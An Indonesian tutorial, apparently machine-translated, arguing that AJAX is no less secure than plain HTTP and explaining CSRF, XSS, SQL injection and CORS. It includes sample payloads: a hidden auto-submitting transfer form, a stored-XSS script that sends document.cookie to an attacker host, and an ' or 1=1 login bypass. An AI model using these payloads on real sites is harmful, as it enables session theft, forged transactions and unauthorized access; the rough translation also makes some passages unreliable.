Hubungan Antara Web Security Dan AJAX

Membuka tiga pertanyaan

Apa permintaan AJAX benar-benar tidak aman?
Di mana permintaan AJAX tidak aman?
Bagaimanakah cara membuat permintaan AJAX lebih aman?

Kata pengantar

Artikel ini berisikan banyak content, terhitung AJAX, CORS, XSS, CSRF, dan lain-lain., Diperlukan waktu tertentu untuk menuntaskan membaca dan pahami.

Penjelasan Dimulai…

Dari ujung depan pit, sampai saat ini, permintaan AJAX diulang dengan frekuensi yang tinggi sekali, dan sudah menyelesaikan banyak permasalahan yang ditemui di AJAX, seperti debugging lintasi domain, debugging kekeliruan, dan lain-lain.

Disini, saya mendapati fenomena umum: yakni, setiap mereka tersambung dengan personil ada di belakang panggung, mereka akan mengatakan permintaan AJAX tidak aman, silahkan pakai permintaan http biasa!

Biarpun berulang-kali, sesudah banyak konflik, backstage paling akhir bersepakat, mengizinkan beberapa keinginan AJAX yang penuhi persyaratan. Tetapi, saya benar-benar terjerat dalam pertanyaan: Apa permintaan AJAX benar-benar tidak aman? Kenapa saya tidak menemukan permasalahan ini saat saya menulis sendiri latar belakangnya?

Dengan begitu, mulai bersiap untuk mengumpulkan info, bersama dengan pengetahuan yang ada, diatur jadi solusi untuk analisis apa permintaan AJAX benar-benar aman? di mana tidak aman?, seterusnya menghadapi permasalahan sama langsung ke pihak yang lain melempar artikel

Garis besar

Apakah permintaan AJAX benar-benar tidak aman?
Dari mana datangnya pernyataan tidak aman AJAX?
Masalah keamanan front-end web yang umum
Pengantar CSRF
Hubungan antara CSRF dan AJAX
Pengantar XSS
Hubungan antara XSS dan AJAX
Pengantar injeksi SQL
Injeksi SQL dan hubungan AJAX
Perbedaan antara permintaan AJAX dan HTTP
Korelasi antara keamanan CORS dan AJAX
Pengantar hubungan antara CORS dan AJAX
Mengapa mengkonfigurasi CORS?
Informasi apa yang dikonfigurasi oleh CORS?
CORS Asal: *keamanan
Lihat, apakah permintaan AJAX benar-benar tidak aman?
Di mana permintaan AJAX tidak aman?
Bagaimana cara membuat permintaan AJAX lebih aman?

Apa permintaan AJAX benar-benar tidak aman?

Pertama, mari kita awali dengan simpulan: Apa permintaan AJAX aman, ditetapkan oleh server (latar belakang)

Ada peribahasa: Bila aplikasi web mempunyai keamanan yang bagus, maka cara menggunakan "AJAX tidak aman" tidak bisa melemahkan keamanannya, dan jika program tersebut mempunyai celah, apa saja permintaan teknisnya, itu tidak aman.

Kenapa ada pernyataan semacam itu? Karena dalam aplikasi web, input client tidak dipercayai ialah prinsip dasarnya

Darimanakah hadirnya pernyataan tidak aman AJAX?

Saat AJAX ada, servernya masih tua saat itu. Maka dari itu, sesudah mempertimbangkan munculnya AJAX, sistem keinginan front-end bisa menjadi benar-benar sulit, yang menyebabkan peraturan keamanan awalnya tidak bisa penuhi syarat, menyebabkan sebagian besar paparan kerentanan keamanan Latar Belakang

Jelas sekali, itu karena AJAX sudah menunjukkan semakin banyak kerentanan keamanan, yang membuat kelihatan beresiko (karena AJAX ada, sistem keinginan jadi lebih banyak, arsitektur awalnya mungkin mempunyai semakin banyak liabilitas dalam keinginan baru)

Maka pengakuan tidak aman AJAX dengan alami menebar ke setiap sudut.

Permasalahan keamanan front-end web yang umum

Untuk mengetahui apa permintaan AJAX aman, Anda harus lebih dulu mengetahui permasalahan keamanan yang mana berada di sisi depan web.

1.XSS ( cross - site scripting )    -> forgery session (based XSS achieve CSRF ) 
    
    -> hijacking cookies 
    
    -> Malicious code execution 2.CSRF ( cross - site request forgery )    -> fake user identity operation 
    
3. SQL injection...(others don't mention it for the time being)

Seperti dijelaskan sebelumnya, permasalahan keamanan di ujung depan web sebagian besar ialah kategori utama ini (hanya beberapa salah satunya yang dianalisis), jadi pertama-tama kita harus menganalisa hubungan di antara AJAX dan kelas utama ini. ( XSS Dan CSRF, saya akan memberi pengantar singkat di bawah.)

Pengantar CSRF

CSRF, fiturnya benar-benar sederhana: ambil identitas pengguna, operasi jahat

Sekarang ini, kerentanan keamanan ini sudah dianalisis secara menyeluruh oleh beberapa orang. Bagaimanapun, Google, Yahoo, akan menemukan banyak keterangan. Berikut ini deskripsi sederhana dengan gambar:

(Perhatikan, deskripsi berikut mengacu pada deskripsi di artikel sumber, sama seperti yang diperlihatkan pada gambar yang digambar ulang setelah referensi posting blog di sumber)

Jadi , kita melihat bahwa persyaratan utamanya adalah:

1. Use cookies for user verification 2. Log in to trusted website A and generate cookies locally 3. Visit dangerous website B without logging out of A

Secara umum (4) di Situs Web Berbahaya (B) serangan adalah sebagai berikut (harus mengarah ke Alamat, atau tidak dapat membawa cookie):

// 1. For example, sneak into a malicious transfer operation in the image resource on the website 
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>// 2. Build a malicious hidden form and submit a malicious request via script 
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='toBankId' value='hello'>
  <input type='hidden' name='amount' value='1000000'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Dan, dari awal hingga akhir, situs penyerang belum mendapatkan cookie, secara tidak langsung (menggunakan mekanisme otentikasi implisit cookie Web) melalui browser, HttpOnly tidak akan memengaruhi serangan ini

Terakhir, ada beberapa pertahanan CSRF yang umum:

1. Verifikasi bidang Perujuk HTTP (sangat sederhana, tetapi karena klien tidak dipercaya, itu tidak terlalu aman) (Mencegah CSRF , memeriksa bidang Perujuk sangat mudah, tetapi sepenuhnya bergantung pada browser untuk mengirim bidang Perujuk yang benar. Meskipun pasangan protokol http Konten bidang ini didefinisikan dengan jelas, tetapi itu tidak menjamin implementasi spesifik dari browser yang berkunjung. Tidak ada jaminan bahwa browser tidak memiliki lubang keamanan yang memengaruhi bidang ini. Ada juga penyerang yang menyerang browser tertentu dan mengutak-atik bidang Perujuk mereka. mungkin.)


2. Tambahkan token ke alamat permintaan dan verifikasi (seperti post , tambahkan token yang dibuat secara acak sebagai parameter )

Hubungan antara CSRF dan AJAX

Di atas, kita melihat bahwa premis CSRF adalah cookie mengautentikasi pengguna, jadi apakah ini terkait dengan AJAX?

Pertama mari kita menganalisis kasus dengan autentikasi cookie di AJAX:

1. AJAX dibatasi oleh kebijakan asal yang sama dari browser2. AJAX tidak dapat meminta antarmuka lintas domain secara default (tentu saja, latar belakang dapat dikonfigurasi dengan `Access-Control-Allow-Origin: *` untuk mengizinkan semua permintaan lintas domain)3. Permintaan AJAX tidak dapat membawa cookie lintas domain
  (jika dipaksa dengan withCredentials , server harus diautentikasi dan tidak dapat digunakan sebagai serangan)

Melihat ini, pada intinya Anda bisa pikirkan permintaan CSRF dan AJAX yang lenyap...

Contoh pertama, misalnya gambar di atas 4 request part yang diprakarsai oleh AJAX, misalnya web A sudah dibolehkan Access-Control-Allow-Origin:*, karena nama domain situs B dan situs A berlainan, jadi ada cross-domain , menurut peraturan asal yang serupa, tidak bisa bawa permintaan cookie, dan karena itu tidak bisa Melalui otentikasi, serangan itu tidak berhasil... Bahkan juga bila Anda buka dengan Kredensial dan membawa cookie lintas domain, tapi server tidak secara terpisah mengonfigurasikan cookie lintasi domain situs web B (perlu dikonfigurasikan Access-Control-Allow-Credentials: true, dan kali ini tidak dibolehkan untuk atur Allow-Origin: *), jadi otentikasi tidak berhasil.

Bisa dilihat bahkan Access-Control-Allow-Origin: *izinkan semua sumber permintaan AJAX, di bawah standar cookie lintasi domain masih tidak dapat dibawa, bukan CSRF

Jadi kesimpulannya: CSRF tidak ada hubungannya dengan AJAX

Pengantar XSS

Karena CSRF tidak ada hubungannya dengan AJAX, haruskah XSS banyak terkait dengan AJAX? (Atau kenapa selalu bilang request AJAX tidak aman ya?). Selanjutnya silakan teruskan membacanya (dalam artikel ini hanya kategori JS)

XSS (skrip lintasi situs), tampaknya singkatan lebih pas untuk css... Tetapi untuk membandingkannya dari cascading model sheets, pakai singkatan XSS untuk mewakili

Karakteristik XSS dapat dirangkum sebagai: injeksi skrip lintasi domain, penyerang menyuntikkan code beresiko ke halaman situs dengan cara tertentu, dan pengguna lain akan mengalami serangan khusus sesudah melihat content halaman yang disuntikkan.

Dibanding dengan CSRF, XSS mencakup semakin banyak content dan sering merupakan kombinasi dari berbagai bentuk serangan. Berikut beberapa contoh dari yang sebelumnya:

1.Pembajakan Cookie

Demikian juga, ada input komentar di halaman. Sesudah diinputkan, karena ada sela di latar belakang, tidak ada watak khusus yang difilter, maka langsung disimpan ke database berbentuk plaintext, dan seterusnya data plaintext langsung akan ditampilkan saat diperlihatkan di halaman web.

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post"> 
     Please enter a comment:<BR> 
     <input name="content" type="text"> 
     <input type="submit" value="Confirm">
</form>

Kemudian penyerang menganalisis dan masuk

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

Simpan artikelnya. Kode yang sangat sederhana, karena tidak ada skrip pemfilteran, setelah pengguna lain masuk, mereka akan secara otomatis mengirimkan informasi cookie mereka ke server penyerang ketika mereka melihat artikel ini. Penyerang dapat menyamar sebagai pengguna selama masa berlaku cookie (seperti sesi yang sesuai dengan jsessionid).

Perlu dicatat bahwa perbedaan antara ini dan CSRF adalah di sini adalah cookie untuk mengambil inisiatif untuk menyamar sebagai pengguna, dan CSRF sama sekali tidak mengetahui cookie, hanya menggunakan metode verifikasi implisit browser untuk menyamar sebagai pengguna.

2.Pemalsuan sesi

Hal yang sama adalah contoh kerentanan komentar.

Input penyerang (contoh metafora)

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

Selanjutnya, cerita seterusnya sama seperti yang disebut di CSRF. Keadaan ini didasari pada XSS, dan sebagian orang suka menyebutnya XSRF.

Perlu dicatat jika tidak ada cookie di sini, tapi mekanisme autentikasi implisit yang disebut dalam CSRF digunakan untuk menyamar sebagai pengguna.

3.Eksekusi code beresiko lainnya

Faktanya, pembajakan cookie dan pemalsuan sesion di atas dianggap sebagai eksekusi code beresiko. Untuk membandingkan, berikut JS nakal dari front end.

Misalnya, input di komentar sebelumnya bisa berupa:

Misalnya, jendela pop-up game web yang populer di pasaran. Misalnya, biarkan saja halaman ini macet. Misalnya, loop tak terbatas.

Di sini sekali lagi, di atas ialah saran dari front end, tetapi sebetulnya ada tipe saran yang tidak dapat diabaikan, yakni: Rich teks attack

Karakteristiknya ialah: skrip disuntikkan ke text kaya, dan ujung depan dan belakang tidak difilter, menghasilkan keluaran langsung ke halaman.

Karena halamannya banyak, content rich teks ditampilkan di halaman situs, dan tidak ada pemfilteran (meskipun halamannya masih banyak), jadi selama ada skrip injeksi di rich teks, itu pada dasarnya sebuah tipuan.

Ringkasannya:

Selama Anda pada akhirnya bisa menampilkan pernyataan skrip yang bisa dieksekusi ke halaman, ada sela, dan serangan XSS bisa terjadi.

Apalagi pada dasarnya kerentanan xss benar-benar luas. Meskipun tipe serangannya benar-benar pasif dan memerlukan banyak analisis waktu, serangan ini meraih kemenangan di sebagian besar website (terutama yang tidak diperbaharui dalam waktu yang lama).

Izinkan saya menyebutkan sedikit lagi. Pengenalan di atas lebih ke konsekuensinya, tetapi sebetulnya bila dilihat secara manual serangannya bisa dibagi jadi beberapa jenis: Serangan XSS reflektif (langsung melalui injeksi URL, dan banyak browser mempunyai pertahanannya sendiri), Penyimpanan serangan XSS (diletakkan ke DB Setelah pembacaan disuntikkan), ada satu type Berbasiskan DOM

Contoh di atas adalah semua jenis penyimpanan. Content yang lebih spesifik sudah dirinci di Internet. Saya tidak terus masuk jauh kesini dan memasangkan gambar untuk mengkonsolidasikannya.

Cara mencegah XSS :

Pemfilteran masukan, jangan mempercayai masukan apa pun dari pengguna, memfilter karakter khusus seperti “<”, “>”, “/”, dll. yang dapat menyebabkan skrip diinjeksi, atau memfilter kata kunci skrip seperti “skrip” , “javascript”, atau input Membatasi panjang data, dll., pertimbangkan juga bagaimana penyerang menggunakan pengkodean heksadesimal untuk memasukkan skrip.
Outputnya dikodekan, mirip dengan pemfilteran input, tetapi mulai dari output, ketika data dikeluarkan ke halaman, itu dikodekan oleh alat seperti HtmlEncoder, jadi tidak ada skrip yang dapat dieksekusi output langsung.
Cookie disetel hanya http sehingga cookie tidak dapat diperoleh dengan skrip (sehingga bidang cookie hanya diambil saat browser membuat permintaan ke server web, menghindari serangan XSS menggunakan document.cookie JavaScript untuk mendapatkan cookie)
Cookie anti-pencurian, sejauh mungkin untuk menghindari terungkapnya privasi dalam cookie, seperti nama pengguna, kata sandi, dll.; atau, untuk mencegah serangan replay, Anda dapat mengikat cookie dan IP, yang juga dapat mencegah penyerang menyamar sebagai pengguna biasa.
Perhatikan bahwa terutama di latar belakang, Anda tidak boleh mempercayai input ujung depan, Anda perlu memfilter dan memverifikasi

Hubungan antara XSS dan AJAX

Analisis di atas dari beberapa efek dan masalah yang disebabkan oleh XSS, masih ditemukan: AJAX tidak bisa berbuat banyak, karena masalah ini akan terjadi terlepas dari AJAX.

Lihatlah situasi ini, seperti injeksi teks kaya di atas:

1. Antarmuka menggunakan interaksi AJAX
2. Setelah permintaan AJAX selesai, bidang teks kaya yang sesuai ditampilkan di halaman - misalnya, innerHTML

Tetapi, ini benar-benar tidak ada hubungannya dengan AJAX, yang merupakan hasil dari tidak ada pemfilteran input dan output pada bagian depan dan belakang.

Jadi , masih kalimat yang serupa: Bila program web mempunyai keamanan yang bagus, maka bagaimana menggunakan "AJAX tidak aman" tidak bisa melemahkan keamanannya, apabila program tersebut memiliki celah, apa pun permintaan teknisnya, Semuanya tidak aman

Pengantar injeksi SQL

Pengembangan injeksi sql akan jadi pembelajaran besar, dulu lebih terkenal (tentu saja, sekarang…), hanya untuk mengatakan beberapa contoh ekstrim.

Premisnya adalah bahwa data input ujung depan tidak difilter di background, bila tidak maka tidak akan berpengaruh sama sekali.

Misalnya ada kerentanan injeksi sql yang buruk dalam kueri login di halaman A, dengan cara berikut: (keadaan paling ekstrem, paling bodoh)

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post"> 
     请输入用户名与密码：<BR> 
     <input name="name" type="text"> 
     <input name="password" type="text"> 
     <input type="submit" value="登陆">
</form>

Setelah menerima permintaan login, kode eksekusi sebenarnya dari server adalah:

String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'" ;

Namun, beberapa penyerang telah menganalisis bahwa mungkin ada celah di latar belakang, coba serangan injeksi sql, masukan

name = ' or 1=1
password = anything

Kemudian, setelah menerima data di latar belakang, hasil kueri sebenarnya

SELECT * FROM  users  WHERE name = ' ' or 1=1  AND password = 'anything'

Oleh karena itu, penyerang berhasil melewati nama pengguna dan menggunakan kerentanan latar belakang untuk masuk.

Tentu saja, kerentanan tingkat rendah seperti fenomena semacam ini hampir tidak ada lagi. Seringkali jenis kerentanan ini perlu dianalisis dengan cermat dan memakan waktu. (Atau ada pengkhianat...)

Injeksi SQL dan hubungan AJAX

Jumlah, dari contoh di atas, saya tidak melihat adanya hubungan dengan AJAX. Tapi kita bisa berasumsi ini:

1. Memiliki interface untuk menerima data dari AJAX post 2. Terdapat field 'nama' pada data tersebut. Setelah latar belakang diterima, itu tidak disaring. Sama seperti demonstrasi di atas, pernyataan sql dijalankan. 3. Jadi jika AJAX mengirimkan informasi injeksi ilegal ke bidang itu, itu akan memicu kerentanan ini dan serangan akan berlaku.

Ya, ini adalah situasi ekstrem yang terjadi, dan tidak ada hubungannya dengan AJAX, karena ada situasi serupa ketika diganti dengan permintaan lain. . .

Jadi kesimpulannya adalah: injeksi SQL tidak ada hubungannya dengan AJAX

Perbedaan antara permintaan AJAX dan HTTP

Intinya: AJAX adalah permintaan HTTP yang dikeluarkan oleh browser, kecuali bahwa browser menambahkan batasan kebijakan homologi.

AJAX meminta objek XMLHTTPRequestan adalah untuk membuka browser ke permintaan HTTP dengan panggilan JS.

Jadi apa perbedaan antara AJAX dan HTTP? Cantumkan poin-poin berikut:

Permintaan AJAX dibatasi oleh kebijakan asal browser yang sama, dan terdapat masalah lintas domain.
Saat membuat permintaan AJAX yang kompleks, browser akan mengeluarkan pre-OPTIONSpre-screening (HTTP bahwa dia bukan preflight)
Dari sudut pandang penggunaan, AJAX lebih mudah digunakan, lebih sedikit detail mendasar, dan lebih banyak fitur browser (seperti membawa cookie di domain secara otomatis, dll.)
Jadi, perbedaannya dengan permintaan HTTP untuk autentikasi adalah terdapat lebih dari satu enkapsulasi browser (browser akan memiliki preprocessing sendiri, plus batasan khusus)

Tetapi, dari pesan paling akhir, didalamnya sama (isi detail prosedur HTTP), AJAX adalah langkah untuk mengirimi permintaan HTTP.

Jadi disini Anda bisa menarik kesimpulan: AJAX pada dasarnya sama dengan keamanan permintaan HTTP.

Korelasi antara keamanan CORS dan AJAX

Menurut content yang disebut pada bagian sebelumnya, pada dasarnya mustahil untuk mengaitkan jika AJAX tidak aman dengan permintaan itu. Selanjutnya, lanjutkan menganalisa jika Anda menggunakan keamanan berbagi sumber daya lintas domain (CORS). (karena kerap ajax diikuti dengan CORS)

Pengantar hubungan di antara CORS dan AJAX

Ini ialah solusi berbagi lintas domain, proses umumnya ialah: (hanya untuk contoh pra-pemeriksaan permintaan kompleks — bagian ini memerlukan pengetahuan kelanjutan mengenai CORS)

1. Pra-pemeriksaan OPSI dikeluarkan sebelum permintaan AJAX front-end, dan banyak header terkait dikirim ke server.
2. Saat server menerima pre-test, server akan memeriksa apakah header, sumber, dan informasi lainnya legal. Jika legal, itu akan mengizinkan permintaan normal, jika tidak maka akan ditolak dengan kejam.
3. Jika browser menerima pesan yang ditolak oleh server (menanggapi pemeriksaan header), kesalahan terkait akan terjadi. Kalau tidak, itu adalah respons normal, dan kemudian permintaan nyata (seperti POST )

Informasi tajuk untuk permintaan dan tanggapan kira-kira sebagai berikut:

Header Permintaan

// In CORS, it is specifically used as the Origin information for back-end comparison, indicating the source domain. 
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With// All headers set with the setRequestHeader method will be included in this header in a comma-separated form, usually in a POST request. Will bring 
Access-Control-Request-Method : OPTIONS

Tajuk Respons

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

Pada akhirnya, permintaan yang dikirim oleh klien harus sesuai dengan aturan verifikasi server agar benar, dan server akan mengembalikan header yang benar, jika tidak, hanya permintaan yang akan gagal. Laporkan kesalahan lintas-domain.

Di atas hanyalah pengantar. Informasi lebih lanjut dapat ditemukan di sumber. Ajax lintas domain, ini harus menjadi solusi paling komprehensif.

Mengapa mengkonfigurasi CORS?

Karena batasan kebijakan asal yang sama, AJAX tidak dapat meminta sumber daya lintas domain, dan CORS dapat memecahkan masalah permintaan lintas domain AJAX.

Jadi: Pada artikel ini, mengonfigurasi CORS hanya untuk permintaan lintas domain AJAX.

Informasi apa yang dikonfigurasi oleh CORS?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

Seperti di atas, setelah menambahkan konfigurasi ini, itu harus menjadi permintaan normal, jika tidak maka akan ditolak. Umumnya AJAX akan memiliki OPSI di seluruh domain, sehingga langkah ini dilakukan di pre-check.

Seperti yang Anda lihat, informasi variabel kuncinya adalah: Access-Control-Allow-Origin: http://xxx

Konfigurasi ini adalah daftar putih nama domain, yang menentukan nama domain tempat permintaan lintas domain AJAX dapat dibuat.

CORS `Origin: *`security

Masalah utama akan datang, konfigurasi CORS di atas adalah seperti ini:

Access-Control-Allow-Origin : http://xxx

Namun, konfigurasi ini hanya mengizinkan akses ke nama domain tertentu. Karena kerumitan ujung depan, terkadang debugging sangat tidak nyaman, jadi terkadang pengaturan malas adalah:

Access-Control-Allow-Origin : *

Permintaan AJAX lintas domain ini atas nama semua sumber merespons dengan baik.

Selanjutnya kita atur analisisnya Asal: *yang dapat menyebabkan masalah. (keduanya berbasis AJAX)

Pertanyaan 1: Apakah ini akan memengaruhi autentikasi cookie?

tidak akan. Meskipun * perwakilan dari semua sumber dapat berupa permintaan normal, tetapi pada kebijakan asal yang sama, tidak dapat membawa cookie lintas domain. Oleh karena itu, otentikasi tidak dapat digunakan sama sekali.

Apalagi dengan withCredentials force untuk membawa cookie lintas domain, karena latar belakang tidak mendukung, itu akan menjadi kesalahan. (Ini dapat dilihat sebagai garis pertahanan terakhir untuk model CORS)

Selain itu, meskipun konfigurasi latar belakang Access-Control-Allow-Credentials memungkinkan cookie lintas-domain, tetapi kali ini kebijakan keamanan tidak diizinkan, itu harus alamat yang jelas. (Jika tidak, Anda dapat melihat pesan kesalahan browser - saat cookie lintas domain digunakan, Asal tidak diizinkan)

Pertanyaan 2: Jika Anda memalsukan kepala Asal?

Pertama-tama, browser standar tidak memungkinkan Anda untuk memalsukan (kecuali ada kerentanan serius), jadi umumnya perlu memalsukan permintaan dengan mensimulasikan klien.

tetapi. Dalam kasus non-browser, tidak ada strategi homolog. Kenapa ini?

Oleh karena itu, memalsukan Origin dan CORS tidak ada hubungannya dengan itu.

Pertanyaan 3: Jika ada celah di latar belakang?

Untuk membuat asumsi seperti itu, asumsikan bahwa ada server intranet di intranet jaringan pengguna, dan semua permintaan lintas domain diizinkan untuk dikonfigurasi: (Tentu saja, jaringan eksternal tidak meminta intranet)

// Allow any cross-domain request from any domain 
Access-Control-Allow-Origin : *

Asumsikan bahwa server intranet kebetulan memiliki sumber daya yang sensitif, dan tidak ada persenjataan tambahan, selama intranet dapat mengakses. Misalnya:

192.168.111.23/users.md

Kemudian pengguna mengunjungi halaman Web berbahaya, dan halaman seperti HTML dan sejenisnya diunduh ke eksekusi lokal, tepatnya kode berbahaya di dalam halaman tersebut, keberadaan 192.168.111.23/users.mdsumber daya yang diminta, dan kemudian diterima oleh server mengirim kembali ke server penyerang. (Karena penambahan Origin adalah *, dan AJAX dikeluarkan oleh browser lokal, situs web jahat yang diunduh oleh pengguna ke lokal dapat mengakses latar belakang di intranet pengguna)

Kemudian data sensitif dicuri seperti ini.

Tapi, ini karena kerentanan dan masalah sisi layanan, Asal diatur mengapa Anda ingin menempatkan tahap sensitif sumber daya? Efek terbesar dari pengaturan normal Origin adalah menggunakannya sebagai API publik. Dan yang lebih penting, mengapa sumber daya sensitif begitu mudah diperoleh? Mengapa tidak ada verifikasi sekunder?

JADI, latar belakang itu sendiri memiliki celah, sehingga mengarah pada penyerangan. AJAX kebetulan menjadi salah satu sarana penyerangan (selain AJAX ada cara lain), begitu banyak pot yang ada di header AJAX.

Dengan cara ini, kesimpulan dapat ditarik dari titik konservatif:

Jika Asal bukan , permintaan AJAX tidak akan memiliki masalah keamanan. Jika , mungkin karena celah di latar belakang. Secara tidak sengaja, AJAX digunakan sebagai metode penyerangan, yang mengarah pada pernyataan bahwa AJAX tidak aman.

Lihat, apakah permintaan AJAX benar-benar tidak aman?

Masih kesimpulan awal:

Jika suatu aplikasi web memiliki keamanan yang baik, maka cara menggunakan AJAX yang tidak aman tidak dapat melemahkan keamanannya. Jika aplikasi itu sendiri memiliki kerentanan, itu tidak aman terlepas dari permintaan teknisnya.

Kita dapat melihat bahwa XSS, CSRF, dan kemungkinan kerentanan tersembunyi lainnya pada dasarnya adalah masalah yang disebabkan oleh kerentanan di latar belakang. AJAX digunakan sebagai sarana serangan (bahkan beberapa di dalam AJAX). Masih belum tersedia)

Permintaan AJAX tidak aman disebutkan, misalnya, ada yang diatur di dalam CORS Asal: *disebabkan oleh kasus ekstrem penyerangan AJAX. Namun nyatanya, ini adalah salah satu alat penyerangan. Tanpa AJAX, ketidakamanan masih belum aman.

Misalnya masih ada pepatah: Karena sebelum munculnya AJAX, jika ada lubang keamanan, mudah dideteksi, tetapi AJAX tidak sinkron, dan lebih mudah secara implisit muncul masalah keamanan. . . Ini juga terlepas dari sifat keamanan.

Yang terpenting, dari perspektif keamanan aplikasi web, aplikasi web tidak boleh mempercayai klien. Jadi jangan berikan pot ke AJAX.

Di mana permintaan AJAX tidak aman?

Seperti di atas, AJAX sendiri tidak memiliki masalah keamanan ini.

Namun, satu hal yang perlu diperhatikan adalah jika Anda menggunakan solusi CORS.

1. Allow-Origin dapat menetapkan nilai tertentu untuk memfilter daftar putih tertentu. 2. Untuk beberapa API publik, Anda dapat langsung menyetel Allow-Origin ke `*`.
3. Tentu saja, jika Anda mengonfirmasi bahwa tidak ada kerentanan tersembunyi di latar belakang, Anda dapat menggunakan `*` secara langsung. Lagi pula, itu hanya untuk kebijakan browser asal yang sama, dan dampaknya tidak terlalu besar.

Bagaimana cara membuat permintaan AJAX lebih aman?

Itu masih kesimpulan yang berulang kali disebutkan dalam teks:

Membuat backend web lebih aman, permintaan AJAX juga lebih aman, dan sebaliknya, ada celah di latar belakang, tidak peduli seberapa tidak amannya

Ditulis dalam kata-kata terakhir

Dalam hal ini, apakah Anda dapat menyingkirkan pot AJAX yang tidak aman?

Terimakasih sudah membaca, semoga bermanfaat